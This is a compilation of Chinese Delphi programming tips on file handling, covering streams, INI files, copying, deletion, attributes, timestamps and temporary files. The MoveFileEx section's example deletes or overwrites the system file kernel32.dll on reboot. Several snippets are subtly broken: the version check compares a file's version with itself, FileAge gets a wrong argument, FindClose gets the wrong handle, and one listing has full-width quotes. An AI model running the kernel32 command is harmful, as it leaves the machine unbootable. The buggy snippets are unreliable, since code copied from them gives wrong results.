_lclose(fHandle);
End;
End;


TWriter 和 TReader的用法

作者：hubdog

procedure TForm1.Button1Click(Sender: TObject);
var
  FS:TFileStream;
  Writer:TWriter;
begin
  FS:=TFileStream.Create('c:\demo.txt',fmCreate);
  Writer:=TWriter.Create(FS,4096);
  Writer.WriteString(Edit1.Text);
  Writer.WriteString('aaa');
  Writer.Free;
  FS.Free;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  FS:TFileStream;
  Reader:TReader;
  S:string;
begin
  FS:=TFileStream.Create('c:\demo.txt',fmOpenRead);
  Reader:=TReader.Create(FS,4096);
  ShowMessage(Reader.ReadString);
  ShowMessage(Reader.ReadString);
end;

TReader 和 TWriter主要应用于将数据串行化的保存和加载出来
特点就是读和写的顺序是一样的。


通过版本控制判断是否覆盖文件

以下是一个关于如何判断文件是否应该被覆盖的示例。只需要使用：

if VersionCopyFileCheck(file1,file2) then CopyFile(file1,file2,FALSE);

uses SysUtils, Classes, Windows;

//——————————————————————————————————————————————————————————————————————————————

function GetFileVersion(filename : string; var VerBlk : VS_FIXEDFILEINFO) : boolean;

var InfoSize,puLen : DWord;

Pt,InfoPtr : Pointer;

begin

InfoSize := GetFileVersionInfoSize(PChar(filename),puLen);

fillchar(VerBlk,sizeof(VS_FIXEDFILEINFO),0);

if InfoSize > 0 then begin

GetMem(Pt,InfoSize);

GetFileVersionInfo(PChar(filename),0,InfoSize,Pt);

VerQueryValue(Pt,'\',InfoPtr,puLen);

move(InfoPtr^,VerBlk,sizeof(VS_FIXEDFILEINFO));

FreeMem(Pt);

result := true;

end else result := false;

end;

//——————————————————————————————————————————————————————————————————————————————

function VersionCopyFileCheck(Source,Dest : string) : boolean;

var SourceVer,DestVer : VS_FIXEDFILEINFO;

SourceDate,DestDate : TDateTime;

SourceSize,DestSize : integer;

begin

if FileExists(Dest) then begin

if FileExists(Source) then begin

if (GetFileVersion(Source,SourceVer) and GetFileVersion(Dest,DestVer)) then begin

// 检查版本的差别

if (SourceVer.dwProductVersionMS <= SourceVer.dwProductVersionMS) then begin

if (SourceVer.dwProductVersionMS = SourceVer.dwProductVersionMS) then begin

result := (SourceVer.dwProductVersionLS > DestVer.dwProductVersionLS);

end else result := false;

end else result := true;

end else begin

// 没有版本信息，检查文件日期

result := (FileAge(Source,SourceVer) > FileAge(Dest,DestVer));

end;

end else result := false; // 不复制，源文件不存在

end else result := true; // Ok, 没有文件会被覆盖

end;


设定应用程序关联
CoDelphi.com

摘　要：获取文档关联的应用程序的命令行
关键字：GetAssociation 文件 文档 应用程序 程序 执行 关联
类　别：系统控制
文件的应用程序关联储存在Windows的注册表中。要获取此信息我们先要找回文件扩展名所在处的“Class”。这些信息可在此获得：

HKEY_CLASSES_ROOT\.ext\(default)

这里的".ext"就是你想找的文件的扩展名(如".txt", ".bmp"等)。接着我们可获取打开该类文件的命令行，可在此下获得有关数据：

HKEY_CLASSES_ROOT\class\Shell\Open\Command\(default)

"class"是按扩展名分类的文件分类，该字符串常以以下格式书写

"D:\PATH\APPNAME.EXT" "%1" -OPTIONS

%1即表示用指定应用程序打开文档，所以我们应该找到此字符串的位置并改成我们想替换成的文件名。

例子：
-------

这个函数将返回打开某个文档关联的命令行：

function GetAssociation(const DocFileName: string): string;
var
FileClass: string;
Reg: TRegistry;
begin
Result := '';
Reg := TRegistry.Create(KEY_EXECUTE);
Reg.RootKey := HKEY_CLASSES_ROOT;
FileClass := '';
if Reg.OpenKeyReadOnly(ExtractFileExt(DocFileName)) then
begin
FileClass := Reg.ReadString('');
Reg.CloseKey;
end;
if FileClass <> '' then begin
if Reg.OpenKeyReadOnly(FileClass + '\Shell\Open\Command') then
begin
Result := Reg.ReadString('');
Reg.CloseKey;
end;
end;
Reg.Free;
end;

投稿人：grhunter　投稿日期：2001-3-28 17:06:00


在Windows NT中覆盖或删除正在使用的文件

这个函数就是<> MoveFileEx <>

这个函数充许我们对一个指定的文件或文件夹重命名. 但当我们指定它的dwFlags参数为MOVEFILE_DELAY_UNTIL_REBOOT(只能用于Windows NT 4/2000)后, 它就将改写注册表,在Windows重新启动后此文件就将被覆盖或删除.

用法:

MoveFileEx(ExistingFN, NewFN, MOVEFILE_REPLACE_EXISTING or

MOVEFILE_DELAY_UNTIL_REBOOT

说明:

参数ExistingFN 指向一个以空字符结尾的字符串，此字符串即是待改变的文件或文件夹。

参数NewFN 也是一个指向另一个空字符结尾的字符串，不同的是它表明的是新的文件或文件夹的名称。

标志MOVEFILE_REPLACE_EXISTING 告诉函数如果ExistingFN所指的文件或文件夹已经存在则覆盖它。如果NewFN指向nil，则 ExistingFN 所指的文件或文件夹就将被删除。

举例:

* 覆盖一个使用中的文件:

MoveFileEx('c:\winnt\system32\kernel32.dll', 'd:\winnt.bak\system32\kernel32.dll',

MOVEFILE_REPLACE_EXISTING or MOVEFILE_DELAY_UNTIL_REBOOT

* 删除一个使用中的文件:

MoveFileEx('c:\winnt\system32\kernel32.dll', nil,

MOVEFILE_REPLACE_EXISTING or MOVEFILE_DELAY_UNTIL_REBOOT


无须递归删除目录的函数

使用shfileoperation函数恐怕是最简单的办法了吧？还有人有更简单的办法吗？

uses shellapi;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

Var

T:TSHFileOpStruct;

P:String;

begin

P:='d:\address';//这里改成你要删除的任意目录名

With T do

Begin

Wnd:=0;

wFunc:=FO_DELETE;

pFrom:=Pchar(P);

pTo:=nil;

fFlags:=FOF_ALLOWUNDO+FOF_NOCONFIRMATION+FOF_NOERRORUI;//标志表明允许恢复，无须确认并不显示出错信息

hNameMappings:=nil;

lpszProgressTitle:='正在删除文件夹';

fAnyOperationsAborted:=False;

End;

SHFileOperation(T);

end;


合并两个二进制文件

 Var
f1, f2 : File;
xfer : Word;
buf : PChar;
Begin
AssignFile(f1, name1);
Reset(f1);
Seek(f1, Filesize(f1));
AssignFile(f2, name2);
Reset(f2);
GetMem(buf, 65000);
Repeat
BlockRead(f1, buf^, 65000, xfer);
BlockWrite(f2, buf^, xfer);
Until xfer < 65000;
CloseFile(f1);
CloseFile(f2);
End;
投稿人：大鱼儿　投稿日期：2001-6-26 15:05:00


Delphi中Ini文件的读写

金林樵 郭彩虹

在Windows中的应用程序极大多数拥有自己的初始化文件，如PowerBuilder、Office及Cstar等。因此初始化文件的读写是每个高级程序员必须掌握的技术。虽然初始化文件的读写也可用Object Pascal中的文本文件一样读写，但因初始化文件不同于一般的文本文件，它有自己固定的格式（见下面的初始化文件是ucdos中提供的rdfnt.ini文件），如果用文本文件的方式读写，不仅格式转换十分繁琐，且很容易出现错误，为了方便程序员读写初始化文件中的数据，Delphi中向用户提供了一个TIniFile类，通过TiniFile类就可十分方便地读写初始化文件。

Ucdos中rdfnt.ini文件的内容为：

[True Type fonts directory]

Dir=C:\WINDOWS\SYSTEM

[True Type fonts list]

ARIAL.TTF=64

ARIALBD.TTF=65

ARIALI.TTF=66

ARIALBI.TTF=67

TIMES.TTF=68

TIMESBD.TTF=69

TIMESI.TTF=70

TIMESBI.TTF=71

COUR.TTF=72

COURBD.TTF=73

COURI.TTF=74

COURBI.TTF=75

[Use All True Type fonts]

All=0

TiniFile类不是一个Delphi的部件，因此不能在Delphi的VCL模板中找到，它在Delphi 系统中的inifiles单元中定义，因此要使用TiniFile类，必须在使用该类的单元文件中用Uses inifiles指令明确地说明。

TiniFile类中定义了许多成员函数，这里介绍几个使用频率较高的成员函数：

⑴ Create（）

函数定义为： constructor Create(const FileName: string);

该函数建立TiniFile类的对象。参数FileName是要读写的初始化文件名。

若读写的文件在Windows的目录里（如system.ini文件），则可以直接写文件名而不必指定路径，否则就必须指定路径（如d:\ucdos\rdfnt.ini）。

如按以下规则在规定的目录中存在该文件，则打开该初始化文件；否则在规定的目录里创建该初始化文件。

⑵ ReadSections（）

过程定义为： procedure ReadSections(Strings: TStrings);

该过程将从所建立的TiniFile类的对象（即与之关联的初始化文件）中读取所有的节点名（即用[]括号括起的那部分，如rdfnt.ini文件中的[True Type fonts list]）存入字符串列表中。参数Strings即为字符串列表的变量名。

⑶ ReadSectionValues()

过程定义为： procedure ReadSectionValues(const Section: string; Strings: TStrings);

该过程将参数Section的值所对应的节点（如rdfnt.ini文件中的[True Type fonts list]）中的各个关键字（如ARIALBI.TTF）及其所含的值（如ARIALBI.TTF关键字值为67）读入参数Strings指明的字符串列表中。

⑷ ReadSection()

过程定义为： procedure ReadSection(const Section: string; Strings: TStrings);

该过程将参数Section的值所对应的节点中的各个关键字读入参数Strings指明的字符串列表中。与ReadSectionValues()不同的是它没有读取各个关键字的对应值。

⑸ ReadString()

函数定义为： function ReadString(const Section, Ident, Default: string): string;

该函数返回以参数Section的值为节点名、参数Ident的值为关键字名所对应的关键字值（如[True Type fonts list]节中ARIALBI.TTF关键字的值为67）。当指定的节点或节内的关键字不存在时，则函数返回参数Default的缺省值。返回的值是一个字符串型数据。

当指定节点中关键字值的数据类型不是字符串时，则可用ReadInteger()成员函数读取一个整型值，用ReadBool()成员函数读取一个布尔值。

⑹ WriteString()

过程定义为： procedure WriteString(const Section, Ident, Value: string);

该过程将参数Section的值为节点名、参数Ident的值为关键字名的关键字值设置为参数Value的值。该过程设置的是字符串型数据。

当指定节点和关键字均存在时，则用Value的值替代原值；如指定节点不存在，则在关联的初始化文件中自动增加一个节点，该节点的值为参数Section的值，并在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值；若节点存在，但关键字不存在，则在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值。

若要设置整型值，可调用WriteInteger()成员函数；用WriteBool()成员函数设置布尔值。

知道了以上函数的作用，要建立或读写一个初始化文件就不难了。下面以一个实际例子说明初始化文件的读取方法，步骤如下：

⒈ 在需要读写初始化文件的窗体（Form）上放置名为SectionComboBox、IdentComboBox的两个组合式列表框，其中SectionComboBox存放节点名，IdentComboBox存放所选择节点的关键字名。一个名为IdentValueEdit的输入框，存放对应关键字的值。名为CmdChang的修改命令钮可以用来修改关键字的值，修改后用名为CmdSave的存储命令钮将修改后的关键字的值存入关联的初始化文件。窗体对应的单元名设为IniUnit，窗体名设为IniForm，窗体布局如下图一所示：

⒉ 在IniUnit单元的interface部分用uses inifiles;说明要引用的TiniFile类所定义的单元名。并在变量说明部分定义TiniFile类的对象，如

var IniFile: TiniFile;

⒊ 建立窗体的OnCreate事件过程。使用TIniFile类的Create成员函数创建TIniFile对象，用该对象读写d:\ucdos目录中的rdfnt.ini初始化文件，并将该初始化文件中的所有节点通过ReadSections() 成员函数读入SectionComboBox组合式列表框中，用ReadSection()成员函数将第一个节点中的所有关键字读入IdentComboBox 组合式列表框，用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒋ 建立SectionComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的节点名）时，用ReadSection()成员函数将选节点中的所有关键字读入IdentComboBox 组合式列表框，并用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒌ 建立IdentComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的关键字名）时，用ReadString()成员函数将该关键字的值送入IdentValueEdit输入框。

⒍ 建立命令钮CmdChang的OnClick事件过程。使IdentValueEdit输入框中的内容可以修改（不按该命令钮，IdentValueEdit输入框是不能修改的），并设置命令钮CmdSave有效，可以将修改后的关键字值存入关联的初始化文件中。

⒎ 建立命令钮CmdSave的OnClick事件过程。如果关键字值已改变，则调用WriteString()成员函数将修改后的关键字的值存盘。

⒏ 建立窗体的OnDestroy事件过程。当窗体失效时，将建立的TIniFile对象释放，以释放该对象所战用的系统资源。

至此，运行该工程，初始化文件的读写已能顺利进行。当然还可以使用EraseSection()成员函数删除指定的节，也可用DeleteKey()成员函数删除指定的关键字，因篇幅有限，这里就不详细介绍了，有兴趣的可参考Delphi的使用帮助。

下面是该单元的源程序代码：

unit IniUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, inifiles;

type

TIniForm = class(TForm)

SectionComboBox: TComboBox;

Label1: TLabel;

CmdSave: TButton;

CmdChang: TButton;

IdentComboBox: TComboBox;

IdentValueEdit: TEdit;

Label2: TLabel;

Label3: TLabel;

procedure FormCreate(Sender: TObject);

procedure SectionComboBoxChange(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure CmdChangClick(Sender: TObject);

procedure CmdSaveClick(Sender: TObject);

procedure IdentComboBoxChange(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

IniForm: TIniForm;

{ Delphi中通过TIniFile类读写Windows的初始化文件 }

IniFile: TIniFile;

implementation

{$R *.DFM}

procedure TIniForm.FormCreate(Sender: TObject);

begin

{ 使用TIniFile类的Create成员函数建立TIniFile对

象，该对象用来读写d:\ucdos目录中的rdfnt.ini文件，

如果读写的文件在Windows的目录里（如system.ini），

则可以直接写文件名而不必指定路径 }

IniFile:=TIniFile.Create('d:\ucdos\rdfnt.ini');

{ 将TIniFile对象关联的初始化文件system.ini中的所

有节（即用[]括号括起的那部分）的节名送入下拉式组

合列表框SectionComboBox中 }

SectionComboBox.Clear;

IniFile.ReadSections(SectionComboBox.Items);

{ 选择system.ini文件的第一个节名 }

SectionComboBox.ItemIndex:=0;

SectionComboBoxChange(Sender);

CmdSave.Enabled:=False;

end;

{ 将组合列表框IniComboBox中所选择节中对应的各个

变量及对应的值送入多行文本编辑器IniMemo中 }

procedure TIniForm.SectionComboBoxChange(Sender: TObject);

begin

IdentComboBox.Clear;

IniFile.ReadSection(SectionComboBox.Text,

IdentComboBox.Items);

IdentComboBox.ItemIndex:=0;

IdentComboBoxChange(Sender);

end;

procedure TIniForm.IdentComboBoxChange(Sender: TObject);

begin

IdentValueEdit.Enabled:=False;

{ 将选择的关键字值读入 }

IdentValueEdit.Text:=

IniFile.ReadString(SectionComboBox.Text,

IdentComboBox.Text,'');

end;

procedure TIniForm.CmdChangClick(Sender: TObject);

begin

CmdSave.Enabled:=True;

IdentValueEdit.Enabled:=True;

IdentValueEdit.SetFocus;

end;

procedure TIniForm.CmdSaveClick(Sender: TObject);

begin

if IdentValueEdit.Modified then begin

IniFile.WriteString(SectionComboBox.Text,

IdentComboBox.Text,

IdentValueEdit.Text);

end;

IdentValueEdit.Enabled:=False;

CmdSave.Enabled:=False;

end;

procedure TIniForm.FormDestroy(Sender: TObject);

begin

IniFile.Free; { 释放创建的对象 }

end;

end.

以上方法在Windows 95下用Delphi 3.0调试通过。


如何把文件删除到回收站中

例子如下：// Delphi

program del;

uses ShellApi;
{ 利用ShellApi中: function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall; }

Var T:TSHFileOpStruct;
P:String;
begin
P:='C:\Windows\System\EL_CONTROL.CPL';
With T do
Begin
Wnd:=0;
wFunc:=FO_DELETE;
pFrom:=Pchar(P);
fFlags:=FOF_ALLOWUNDO
End;
SHFileOperation(T);
End.

注意：
1. 给出文件的绝对路径名，否则可能不能恢复；
2. MS的文档说对于多个文件，每个文件名必须被#)字符分隔，而整个字符串必须用两个#0结束。


使用readln()从文件中读出超过255字符的字串

Type

{use longest line you may encounter here}

TLine = Array [0..1024] of Char;

PLine = ^TLine;

Var

pBuf: PLine;

...

New( pBuf );

...

ReadLn( F, pBuf^ );

向文本文件后追加一行

var

filevar: textfile;

buf:string;

begin

assignfile(filevar,'txt.log');

append(filevar);

writeln(filevar,buf);

closefile(filevar);

end;


修改文件属性

 控制文件属性可以用API:
BOOL SetFileAttributes(
LPCTSTR lpFileName, // address of filename
DWORD dwFileAttributes // address of attributes to set
);
或Delphi函数：
function FileSetAttr(const FileName: string; Attr: Integer): Integer;
定义在SysUtils单元


清空回收站

 SHEmptyRecycleBin
这个函数和其他一些函数没有被delphi声明
必须自己从shell32.dll中声明


放置任意的文件到EXE文件里面

通常在Delphi的应用程序中，我们会调用到很多的资源，例如图片，动画（AVI），声音，甚至于别的执行文件。当然，把这些资源分布到不同的目录不失为一个好办法，但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢？

我们可以自己做一个RC文件，例如 sample.rc ，RC文件其实就是一个资源文件的描述文本，通过“记事本”程序创建就行了。然后可以输入一些我们要定义的资源，例如：

MEN BITMAP c:\bitmap\men.bitmap
ARJ EXEFILE c:\arj.exe
MOV AVI c:\mov.avi

然后用BRCC32把这个RC文件编译成sample.res（真正的资源文件）。

在Delphi的工程文件中使用 $R 编译指令让Delphi包括资源到EXE文件里面。

{$R sample.res}

这样我们就可以在这个单一的执行文件中调用资源了。举例如下：

EXEFILE：

procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res :
TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname,
Pchar(ResType)); Res.SavetoFile(ResNewName);
Res.Free;
end;

AVI：

procedure
LoadAVI;
begin
{Avi1是一个TAnimate类}
Avi1.ResName:='AVI';
Avi1.Active:=True;
end;


改变文件扩展名

 ChangeFileExt(FileName:String)


文件拷贝

{This way uses a File stream.}
Procedure FileCopy( Const sourcefilename, targetfilename: String );
Var
S, T: TFileStream;
Begin
S := TFileStream.Create( sourcefilename, fmOpenRead );

  try
T := TFileStream.Create(
targetfilename,
fmOpenWrite or fmCreate );
try
T.CopyFrom(S, S.Size )
;
finally
T.Free;
end;
finally
S.Free;
end;
End;

{This way uses memory blocks for read/write.}
procedure FileCopy(const FromFile, ToFile: string);
var
FromF, ToF: file;
NumRead, NumWritten: Word;
Buf: array[1..2048] of Char;
begin
AssignFile(FromF, FromFile);
Reset(FromF, 1); { Record size = 1 }

  AssignFile(ToF, ToFile); { Open output file }
Rewrite(ToF, 1);  { Record size = 1 }
repeat
BlockRead(FromF, Buf, SizeOf(Buf),
NumRead);
BlockWrite(ToF, Buf, NumRead,
NumWritten);
until (NumRead = 0) or (NumWritten <>
NumRead);
CloseFile(FromF);
CloseFile(ToF);
end;

{This one uses LZCopy, which USES LZExpand.}
procedure CopyFile(FromFileName, ToFileName: string);
var
FromFile, ToFile: File;
begin
AssignFile(FromFile, FromFileName); { Assign FromFile to FromFileName }

AssignFile(ToFile, ToFileName); { Assign ToFile to ToFileName }
Reset(FromFile); { Open file for input }
try
Rewrite(ToFile); { Create file for output }
try
{ copy the file an if a negative value is returned }
{ raise an exception }
if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle) < 0
then
raise EInOutError.Create('Error using LZCopy')
finally
CloseFile(ToFile); { Close ToFile }

end;
finally
CloseFile(FromFile); { Close FromFile }
end;
end;


与文件有关的api

Api函数列表
——与文件相关

Api函数名
函数说明
适用范围

W3.x
W95
NT

mmioWrite
写文件
否
是
是

WriteFile
写文件
否
是
是

ExtractAssociatedIcon
从文件或相关EXE中获取图标句柄
否
是
是

ExtractIcon
从可执行文件中返回图标句柄
否
是
是

LZRead
从压缩文件中读入数据
是
是
是

GetPrivateProfileString
从私有文件中获取字符串
是
是
是

GetPrivateProfileInt
从私有文件中获取整数
是
是
是

UnlockFile
开锁文件
否
是
是

UnlockFileEx

开锁文件
否
是
是

LZOpenFile
打开文件
是
是
是

mmioOpen
打开多媒体文件
否
是
是

SetFileApisToOEM
设置文件API为OEM字符集
否
是
是

SetFileSecurity
设置文件或目录安全属性
否
是
是

FindFirstChangeNotification
设置文件或目录修改等待
否
是
是

SetFileTime
设置文件的64位时间
否
是
是

mmioSetInfo
设置文件信息
否
是
是

SetTextColor
设置文件前颜色
是
是
是

SetFilePointer
设置文件指针位置
否
是
是

SetFileAttributes
设置文件属性
否
是
是

SetFileApisToOEM
设置文件API为OEM字符集
否
是
是

SetFileSecurity
设置文件或目录安全属性
否
是
是

FindFirstChangeNotification
设置文件或目录修改等待
否
是

是

SetFileTime
设置文件的64位时间
否
是
是

mmioSetInfo
设置文件信息
否
是
是

SetTextColor
设置文件前颜色
是
是
是

SetFilePointer
设置文件指针位置
否
是
是

SetFileAttributes
设置文件属性
否
是
是

DeleteFile
删除文件
否
是
是

mmioSeek
改变当前文件位置
否
是
是

MoveFile
更名文件
否
是
是

MoveFileEx
更名文件
否
是
是

GetFileTime
返回文件64位时间
否
是
是

GetFileTitle
返回文件名
否
是
是

GetVolumeInformation
返回文件系统信息
否
是

是

GetFileVersionInfo
返回文件的版本信息
否
是
是

GetFullPathName
返回文件的路径名
否
是
是

GetFileInformationByHandle
返回文件信息
否
是
是

GetFileType
返回文件类型
否
是
是

GetFileAttributes
返回文件属性
否
是
是

GetShortPathName
返回文件短路径
否
是
是

mmioRead
读入文件
否
是
是

ReadFile
读文件
否
是
是

WriteFileEx
写文件
否
是
是


关于文件夹的几个函数

 uses filectrl;
procedure ForceDirectorys(dir:string) ------------ 一次建立指定的多级文件夹
function DirectoryExists(Name: string): Boolean; - 指定文件夹是否存在
function SelectDirectory(var Directory: string; Options: TSelectDirOpts;
HelpCtx: Longint):Boolean; - 打开一个选择文件夹的对话框(英文的)


如何改目录的名字

 调用RenameFile函数，如:

RenameFile('c:\wang\temp', 'c:\wang\tmp');


几个有关子目录的操作的过程

MkDir(str);
ChDir(str);
GetDir(DriveID,str);
SetCurrentDir(str);
IOResult
--上面几个过程调用成功即返回0值


删除目录中的文件但保留目录

uses Windows, Classes, ShellAPI;

const
FOF_DEFAULT_IDEAL    = FOF_MULTIDESTFILES +
FOF_RENAMEONCOLLISION + FOF_NOCONFIRMATION + FOF_ALLOWUNDO +
FOF_FILESONLY + FOF_NOCONFIRMMKDIR + FOF_NOERRORUI + FOF_SIMPLEPROGRESS;
FOF_DEFAULT_DELTREE  = FOF_NOCONFIRMATION + FOF_ALLOWUNDO +
FOF_NOERRORUI;
FOF_DEFAULT_COPY     = FOF_NOCONFIRMATION
+ FOF_ALLOWUNDO + FOF_NOCONFIRMMKDIR + FOF_NOERRORUI + FOF_MULTIDESTFILES;
FOF_DEFAULT_DELFILES = FOF_DEFAULT_DELTREE;

function ShellDeleteFiles( hWnd : THandle ; const DirName : string; Flags :
FILEOP_FLAGS; WinTitle : PChar ) : integer;
{---------------------------------------------------------------------------------------------}
{Apaga arquivos/Diretorios atraves do shell do windows}
//Notas:
Ver comentario sobre o uso de duplo #0 nos parametros de Origem e destino
var
FileOpShell : TSHFileOpStruct;
Oper :
array[0..1024] of char;
begin
if WinTitle <> nil then begin
Flags:=Flags + FOF_SIMPLEPROGRESS;
end;
with FileOpShell do begin
wFunc:=FO_DELETE;
pFrom:=Oper;
pTo:=Oper; //pra garantir a
rapadura!
fFlags:=Flags;
lpszProgressTitle:=WinTitle;
Wnd:=hWnd;
hNameMappings:=nil;
fAnyOperationsAborted:=False;
end;
StrPCopy(
Oper, DirName );
StrCat(Oper, PChar( ExtractFileName( FindFirstChildFile(
DirName )) ) );
Result:=0;
try
while Oper <> EmptyStr do begin
Result:=ShFileOperation( FileOpShell );
if
FileOpShell.fAnyOperationsAborted then begin
Result:=ERROR_REQUEST_ABORTED;
break;
end else begin
if Result <> 0 then begin
Break;
end;
end;
StrPCopy(Oper, FindFirstChildFile( DirName ) );
end;
except
Result:=ERROR_EXCEPTION_IN_SERVICE;
end;
end;


修改文件的时间

答：
文件的日期时间分为三种：创建、最后修改、最后访问，一般来说修改时同时修改这三者为一样即可，当然也可是各不相同的。

修改文件的日期时间需要用到 Windows API: SetFileTime()，看看它在C中的定义：

BOOL SetFileTime(
HANDLE hFile, // identifies the file
CONST FILETIME *lpCreationTime, // time the file was created
CONST FILETIME *lpLastAccessTime, // time the file was last accessed
CONST FILETIME *lpLastWriteTime // time the file was last written
);

可以知道，它需要一个文件的句柄，然后还有三个常量（以指针的形式出现），就是文件的三项时间了，结果是布尔型。而且参数中文件的句柄是需要用“通用写”的方式打开的：“The file handle must have been created with GENERIC_WRITE access to the file.”。

这个函数在DELPHI中的定义也差不多。不过它需要的时间常量比较麻烦，是TFileTime型，而我们常用的是TDateTime型，需要转化一下。

举个例子，在窗体上放上几个东西：

Button1: TButton;
DateTimePicker1: TDateTimePicker;
OpenDialog1: TOpenDialog;

在按钮的OnClick中写代码如下：

procedure TForm1.Button1Click(Sender: TObject);
Var
Q : HFile;
FileName : String;
ST : TSystemTime;
FT : TFileTime;
begin
DateTimeToSystemTime(DateTimePicker1.DateTime, ST);
SystemTimeToFileTime(ST, FT);
LocalFileTimeToFileTime(FT, FT); // ??
Q := 0;
If OpenDialog1.Execute then
Try
FileName := OpenDialog1.FileName;
Q := FileOpen(FileName, fmOpenWrite or fmShareDenyNone);
// fmOpenWrite 就带有 GENERIC_WRITE 的意思
if Q <= 0 then
ShowMessage('Open File Error!!!')
Else
If Not SetFileTime(Q, @FT, @FT, @FT) then // 三个用同一个时间
ShowMessage('Set File Time Error!!!')
else
ShowMessage('OK!');
finally
FileClose(Q);
end;
end;

有的朋友可能会怀疑上面代码中红色那一行的必要性，从本地时间到一般时间，什么作用？其实只要一试就会知道，没有这一行的话，设置好的时间会跟预计的时间差上几个小时，这个时间差就是时区的关系了。由此可以见得我们在Windows中设置时区的意义了。这个函数将本地时间转化为系统的时间，再写入文件中。

见到上面对文件的时间设置，我们想象对目录的时间是否也是一样设置？

其实不然。在95中可以用FileOpen打开某一文件，但却是无法用它打开目录，因为目录是不可写的。但是事实上并不是完全没有办法的，什么办法版主就不知道啦，等待以后继续的探讨吧！

////////////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
FileHandle : THandle;
LocalFileTime : TFileTime;
DosFileTime : DWORD;
LastAccessedTime : TDateTime;
FindData : TWin32FindData;
begin
FileHandle := FindFirstFile('AnyFile.FIL', FindData);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime,
LongRec(DosFileTime).Hi,LongRec(DosFileTime).Lo);
LastAccessedTime := FileDateToDateTime(DosFileTime);
Label1.Caption := DateTimeToStr(LastAccessedTime);
end;
end;
end;


创建临时文件

如何在Delphi 3.0 中创建临时文件，需要用到Windows的API函数GetTempFileName。下面将介绍该函数的格式和使用它创建临时文件的方法。

    一、函数格式：（用VB说明）

    Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long

    参数说明: lpszPath参数表示创建新文件的路径名; lpPrefixString参数表示给定文件名的前缀; wUnique参数应设置为0,表示文件名称自动产生的随机号码; lpTempFileName参数表示一个字符串缓存区域,至少有256个字符长度存放临时文件的名称。

    二、创建含有如下控件的窗体：

    控件 CAPTION FONT SIZE
    FORM1 建立临时文件
    EDIT1 空
    BUTTON1 建立临时文件 宋体 12
    BUTTON2 退出 宋体 12

    三、程序代码如下：

    unit tempfiles;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

     StdCtrls;

    type

     TForm1 = class(TForm)

     Edit1: TEdit;

     Button1: TButton;

     Button2: TButton;

     Label1: TLabel;

     procedure Button1Click(Sender: TObject);

     procedure Button2Click(Sender: TObject);

     private

     { Private declarations }

     public

     { Public declarations }

     end;

    var

     Form1: TForm1;

    implementation

    {＄R ＊.DFM}

    procedure TForm1.Button1Click(Sender: TObject);

    var tempfilename:pchar;

     drivename:pchar;

    begin

     drivename:=′c:′;

     getmem(tempfilename,256);

     gettempfilename(drivename,′text′,0,tempfilename);

     edit1.text:=tempfilename;

    end;

    procedure TForm1.Button2Click(Sender: TObject);

    begin

     close;

    end;

    end.

    按下F9键，执行本程序，单击“建立临时文件”按钮，在C盘当前目录下新创建的临时文件的文件名称显示在编辑框控件中。用资源管理器可以检查该临时文件是否存在。


刷新文件缓冲区到硬盘

 procedure TForm1.Button1Click(Sender: TObject);
var
f : file;
i : integer;
begin
i := 10;
AssignFile(f, 'C:\DownLoad\Test.Bin');
ReWrite(f, 1);
BlockWrite(f, i, sizeof(i));
FlushFileBuffers(TFileRec(f).Handle);
CloseFile(f);
end;


储存控件

//write Listview
procedure TForm1.Button1Click(Sender: TObject);
var FS : TFileStream;
begin
FS :=
TFileStream.Create('C:\LV.Dat',fmCreate);
FS.WriteComponent(ListView1);
FS.Free;
end;

//Read Listview
procedure TForm1.Button2Click(Sender: TObject);
var FS : TFileStream;
begin
RegisterClass(TListView);
FS := TFileStream.Create('C:\LV.Dat',fmOpenRead);
TComponent(ListView1) := FS.ReadComponent(ListView1);
FS.Free;
end;


使用TStream读写数据的技巧

在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等，TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下，我们并不需要直接使用TStream类，对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求，就需要自己手动控制数据的读写。

一、 TStream的常用的方法和属性：

1.function Read(var Buffer; Count: Longint): Longint; virtual; abstract
2.function Write(const Buffer; Count: Longint): Longint; virtual; abstract;
3.function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;
4.property Position: Longint;
5.property Size: Longint

Read，Write，Seek都是纯虚函数，提供了数据读写和定位的抽象的方法。Read方法将数据从Stream中读到Buffer缓冲区中，Write则实现相反的操作，返回值表示实际读写数据的大小。Seek提供了在Stream中移动数据指针的方法。参数Origin可以取soFromBeginning，soFromCurrent，soFromEnd 三个值，Offset是偏移量，返回值是当前Stream数据指针的位置。

Position表示了数据指针在Stream中的位置。这个属性是可读写的，它实际上就是通过调用Seek方法实现的，所以实际使用时使用这个属性更为方便一些。Size属性表示当前Stream的大小，对于不同的Stream，有些时候是只读的。

二、 Stream数据的读写。

1. SaveToStream(Stream: TStream );
//将类中的数据写到Stream的当前位置中
